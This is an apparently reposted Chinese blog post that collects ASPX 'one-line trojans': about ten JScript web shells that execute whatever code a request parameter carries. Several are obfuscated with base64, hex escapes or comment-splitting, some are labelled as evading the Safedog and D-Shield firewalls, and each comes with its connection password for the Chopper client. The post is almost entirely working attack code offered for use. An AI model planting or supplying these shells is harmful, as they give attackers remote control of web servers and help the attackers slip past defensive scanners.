• 一句话木马:ASPX篇


    aspx木马收集:

    <%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>

    随日期变化的连接密码, Asp.NET服务端写法:

    <%@ Page Language="Jscript"%><%eval(Request.Item[FormsAuthentication.HashPasswordForStoringInConfigFile(String.Format("{0:yyyyMMdd}",DateTime.Now.ToUniversalTime())+"37E4DD20C310142564FC483DB1132F36", "MD5").ToUpper()],"unsafe");%>

    例如:菜刀的密码为chopper,在前面加三个字符,新密码为:{D}chopper

    <%@ Page Language="Jscript" validateRequest="false" %><%Response.Write(eval(Request.Item["w"],"unsafe"));%>

    <script runat="server" language="JScript">
    function popup(str) {
    var q = "u";
    var w = "afe";
    var a = q + "ns" + w;
    var b= eval(str,a);
    return(b);
    }
    </script>
    <%
    popup(popup(System.Text.Encoding.GetEncoding(65001).
    GetString(System.Convert.FromBase64String("UmVxdWVzdC5JdGVtWyJ6Il0="))));
    %>

    密码 z

    <%@ Page Language="Jscript" validateRequest="false" %>
    <%
    var keng
    keng = Request.Item["never"];
    Response.Write(eval(keng,"unsafe"));
    %>

    <%@ Page Language = Jscript %>
    <%var/*-/*-*/P/*-/*-*/=/*-/*-*/"e"+"v"+/*-/*-*/
    "a"+"l"+"("+"R"+"e"+/*-/*-*/"q"+"u"+"e"/*-/*-*/+"s"+"t"+
    "[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]"+
    ","+"""+"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"+"""+")";eval
    (/*-/*-*/P/*-/*-*/,/*-/*-*/"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"/*-/*-*/);%>

    密码 -7

    <%@PAGE LANGUAGE=JSCRIPT%>
    <%var PAY:String=Request["x61x62x63x64"];
    eval(PAY,"x75x6Ex73x61"+"x66x65");
    %>

    密码 abcd

    <%@PAGE LANGUAGE=JSCRIPT%>
    <%var PAY:String=
    Request["x61x62x63x64"];eval
    (PAY,"x75x6Ex73x61"+
    "x66x65");%>

    过狗过D盾一句话

    <%@ Page Language="Jscript" Debug=true%>
    <%
    var a=System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("UmVxdWVzdC5Gb3JtWyJwYXNzIl0="));
    var b=System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("dW5zYWZl"));
    var c=eval(a,b);
    eval(c,b);

    %>

    <%@ Page Language="Jscript" Debug=true%>
    <%
    var a=Request.Form["pass"];
    var b="unsa",c="fe",d=b+c;
    function fun()
    {
    return a;
    }
    eval(fun(),d);
    %>

    本文由Bypass整理发布,转载请保留出处。
  • 相关阅读:
    事件委托应用:在父控件中创建子控件,并接收值
    填充树节点
    JAVA Eclipse如何安装Swing
    JAVA Eclipse开发Android如何设置滚动条最大值最小值
    JAVA Eclipse开发Android如何让屏幕保持为竖直或水平状态
    JAVA Eclipse开发Android如何让超出界面的部分自动显示滚动条
    JAVA Eclipse开发Android程序如何自定义图标
    JAVA Eclipse开发Android程序会经常闪退是怎么回事
    JAVA Eclipse的Android文件结构是怎么样的
    JAVA Eclipse的Android的进程和生命周期是什么
  • 原文地址:https://www.cnblogs.com/donglian1/p/13942742.html
Copyright © 2020-2023  润新知